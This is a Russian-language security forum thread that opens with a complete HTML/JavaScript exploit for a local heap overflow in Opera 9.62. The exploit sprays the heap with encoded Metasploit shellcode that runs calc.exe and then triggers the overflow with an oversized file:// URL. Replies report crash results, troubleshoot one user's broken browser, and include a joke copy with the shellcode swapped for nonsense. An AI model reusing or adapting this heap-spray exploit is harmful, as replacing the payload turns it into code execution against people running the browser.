Форум АНТИЧАТ - Opera 9.62 Local Heap Overflow Exploit

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- Безопасность (https://forum.antichat.xyz/forumdisplay.php?f=41)

- - Opera 9.62 Local Heap Overflow Exploit (https://forum.antichat.xyz/showthread.php?t=92234)

Opera 9.62 Local Heap Overflow Exploit

Opera 9.62 file:// Local Heap Overflow Exploit

vulnerability found by send9
tested on Windows XP SP3, opera 9.62 international version

Код HTML:

<html>

<head><title>uh?</title></head>

<body>

<script>



        

        // k`sOSe 11/15/2008

        // tested on Windows XP SP3, opera 9.62 international version

        // vulnerability found by send9



        // there are many ways to achieve code execution, tons of function pointers to overwrite.

        // maybe there's one more reliable...



        var i=0;

        

        // push es, pop es

        var block = unescape("%u0607%u0607"); 



        // metasploit WinExec c:\WINDOWS\system32\calc.exe

        var shellcode = unescape("%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%u315f%u60f6%u6456%u468b%u8b30%u0c40%u708b%uad1c%u688b%u8908%u83f8%u6ac0%u6850%u8af0%u5f04%u9868%u8afe%u570e%ue7ff%u3a43%u575c%u4e49%u4f44%u5357%u735c%u7379%u6574%u336d%u5c32%u6163%u636c%u652e%u6578%u4100");



        while (block.length < 81920) block += block;

        var memory = new Array();

        for (;i<1000;i++) memory[i] += (block + shellcode);





        var evil = "file://";



        for(var i = 0; i<16438; i++)

                evil += "X";



        evil += "R."; 



        window.location.replace(evil);



</script>



</body>

</html>

опера упала - хп,сп3 (с последними обновлениями)

На сп2, у мну и 9.52 падала

Версия: 9.62
Сборка: 10467
Платформа: Win32
Система: Windows XP

ничего не произошло.

опера 9.61; winXP SP2, не уронило.

А как обратно сделать чтобы опера работала о то я переустановил но все ровну неработает!

OMG!

Что значит "переустановил, а она не работает?"

Что этот эксплойт где-то прописался или что она сделала и почему после этого если по новой установить Opera все равну падает!

Ну я воспользовался этим эксплойтом запустил Opera!Открыл заново Opera она упала не работает !Ладно хотел заново переустановить установил все равно тоже самое когда я запустил эксплойт!

Ты что после переустановки его заново пускаешь? О_О

Мда (с)

Русская йазыка аднака (с) :confused:

в висте тоже падает.

Ну и что блин ты тогда хочешь? Не пускай - не будет падать!

Вообще, качай сразу обновления и все! Или юзай ФФ и ИЕ или что там у тебя?

ты не понял после переустановки я эксплойт не запускал а оперу запустил но она глючить и закрывается!

/me уползла)))

Очевидно, я еще не скоро достигну статуса Ведьмы ибо моих способностей недостаточно чтобы увидеть с твоих слов что происходит у тебя на экране в данный момент.

ОС? Как она глючит?

ЗЫ: и чего я такая добрая, а?

Версия:9.62
Сборка:10467
Платформа:Win32
Система:Windows XP

ничего

У меня и пре таком раскладе упала. :D никакого шел кода. прсто ЖОПА :D

PHP код:


		
			
<html>

<head><title>uh?</title></head>

<body>

<script>





    var i=0;

    

    // push es, pop es

    var block = unescape("нульдей голактеко опасносте ёпты!!!111"); 



    // metasploit WinExec c:\WINDOWS\system32\calc.exe'

    var shellcode = unescape("ЖОПА");



    while (block.length < 81920) block += block;

    var memory = new Array();

    for (;i<1000;i++) memory[i] += (block + shellcode);





    var evil = "file://";



        for(var i = 0; i<16438; i++)

                evil += "X";



    evil += "R."; 



    window.location.replace(evil);



</script>



</body>

</html>

Версия: 9.62
Сборка: 10467
Платформа: Win32
Система: Windows XP
сервиспук 3 :)

Цитата:

Сообщение от cric.cric

ты не понял после переустановки я эксплойт не запускал а оперу запустил но она глючить и закрывается!

удали файлик то :)

Версия: 9.62
Сборка: 10467
Система: Windows XP SP2
Плевала на эксплойт...

cric.cric

У тебя наверно в настройках стоит При запуске -> "Продолжить с места разъединения", Opera после "падения" открывает последний запущенный файл, сделай как сказал xcedz или просто переименуй файл.

Outpost Firewall Pro 2009 пропускает, опера падает.
Outpost Security Suite 2009 блокирует.